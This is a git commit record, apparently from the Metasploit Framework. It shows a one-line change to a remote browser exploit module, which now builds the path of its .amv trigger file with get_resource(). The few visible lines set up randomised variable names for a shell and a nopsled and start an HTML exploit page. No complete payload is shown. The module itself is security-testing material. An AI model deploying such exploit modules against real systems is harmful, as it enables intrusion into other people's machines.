Updated: using get_resource() instead of datastore['URIPATH']

git-svn-id: file:///home/svn/framework3/trunk@12156 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-03-27 03:56:45 +00:00
parent 3c6b33bd80
commit 214751379f
1 changed files with 1 additions and 1 deletions

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"
trigger_file = get_resource() + "/" + rand_text_alpha(rand(6) + 3) + ".amv"
html = <<-EOS
<html>